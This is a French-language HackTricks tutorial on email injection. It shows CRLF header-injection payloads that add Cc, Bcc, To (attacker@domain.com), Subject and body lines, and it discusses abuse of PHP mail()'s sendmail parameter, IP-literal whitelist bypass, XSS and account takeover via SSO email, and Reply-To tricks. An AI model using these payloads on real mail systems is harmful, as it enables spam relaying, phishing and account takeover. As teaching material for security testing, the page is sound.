10 KiB
Email Injections
Utilisez Trickest pour créer et automatiser des workflows facilement grâce aux outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Supportez HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.
Injecter dans l'e-mail envoyé
Injecter Cc et Bcc après l'argument expéditeur
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Le message sera envoyé aux comptes recipient et recipient1.
Inject argument
From:sender@domain.com%0ATo:attacker@domain.com
Le message sera envoyé au destinataire original et au compte de l'attaquant.
Inject Subject argument
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Le faux sujet sera ajouté au sujet original et dans certains cas le remplacera. Cela dépend du comportement du service de messagerie.
Modifier le corps du message
Injectez un saut de ligne, puis écrivez votre message pour modifier le corps du message.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Exploitation de la fonction mail() de PHP
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
Le 5ème paramètre ($additional_parameters)
Cette section va se baser sur comment abuser de ce paramètre en supposant qu'un attaquant le contrôle.
Ce paramètre va être ajouté à la ligne de commande que PHP utilisera pour invoquer le binaire sendmail. Cependant, il sera assaini avec la fonction escapeshellcmd($additional_parameters)
.
Un attaquant peut injecter des paramètres supplémentaires pour sendmail dans ce cas.
Différences dans l'implémentation de /usr/sbin/sendmail
L'interface sendmail est fournie par le logiciel MTA de messagerie (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la fonctionnalité de base (comme les paramètres -t -i -f) reste la même pour des raisons de compatibilité, d'autres fonctions et paramètres varient considérablement en fonction du MTA installé.
Voici quelques exemples de différentes pages de manuel de la commande/interface sendmail :
- Sendmail MTA : http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA : http://www.postfix.org/mailq.1.html
- Exim MTA : https://linux.die.net/man/8/eximReferences
Selon l'origine du binaire sendmail, différentes options ont été découvertes pour les abuser et fuiter des fichiers ou même exécuter des commandes arbitraires. Vérifiez comment dans https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Injecter dans le nom de l'e-mail
Parties ignorées d'un e-mail
Les symboles : +, - et {} peuvent, dans de rares occasions, être utilisés pour le marquage et sont ignorés par la plupart des serveurs de messagerie.
Les commentaires entre parenthèses () au début ou à la fin seront également ignorés.
- Par ex. john.doe(intigriti)@example.com → john.doe@example.com
Contournement de la liste blanche
Citations
IPs
Vous pouvez également utiliser des IP comme nom de domaine entre crochets :
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Autres vulnérabilités
SSO tiers
XSS
Certains services comme github ou salesforce permettent de créer une adresse e-mail avec des charges utiles XSS dessus. Si vous pouvez utiliser ces fournisseurs pour vous connecter à d'autres services et que ces services ne nettoient pas correctement l'e-mail, vous pourriez provoquer XSS.
Prise de contrôle de compte
Si un service SSO vous permet de créer un compte sans vérifier l'adresse e-mail donnée (comme salesforce) et que vous pouvez ensuite utiliser ce compte pour vous connecter à un service différent qui fait confiance à salesforce, vous pourriez accéder à n'importe quel compte.
Remarque : salesforce indique si l'e-mail donné a été vérifié ou non, mais l'application devrait donc prendre en compte cette information.
Répondre à
Vous pouvez envoyer un e-mail en utilisant From: company.com et Replay-To: attacker.com et si une réponse automatique est envoyée parce que l'e-mail a été envoyé depuis une adresse interne, l'attaquant pourrait être en mesure de recevoir cette réponse.
Taux de rebond dur
Certains services, comme AWS, mettent en œuvre un seuil connu sous le nom de Taux de rebond dur, généralement fixé à 10 %. C'est une métrique critique, surtout pour les services de livraison d'e-mails. Lorsque ce taux est dépassé, le service, comme le service de messagerie d'AWS, peut être suspendu ou bloqué.
Un rebond dur fait référence à un e-mail qui a été renvoyé à l'expéditeur parce que l'adresse du destinataire est invalide ou inexistante. Cela peut se produire pour diverses raisons, telles que l'e-mail étant envoyé à une adresse inexistante, un domaine qui n'est pas réel, ou le refus du serveur destinataire d'accepter des e-mails.
Dans le contexte d'AWS, si vous envoyez 1000 e-mails et que 100 d'entre eux entraînent des rebonds durs (pour des raisons comme des adresses ou des domaines invalides), cela signifierait un taux de rebond dur de 10 %. Atteindre ou dépasser ce taux peut déclencher AWS SES (Simple Email Service) pour bloquer ou suspendre vos capacités d'envoi d'e-mails.
Il est crucial de maintenir un faible taux de rebond dur pour garantir un service de messagerie ininterrompu et maintenir la réputation de l'expéditeur. Surveiller et gérer la qualité des adresses e-mail dans vos listes de diffusion peut grandement aider à atteindre cet objectif.
Pour des informations plus détaillées, la documentation officielle d'AWS sur la gestion des rebonds et des plaintes peut être consultée à AWS SES Bounce Handling.
Références
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.
Utilisez Trickest pour créer facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}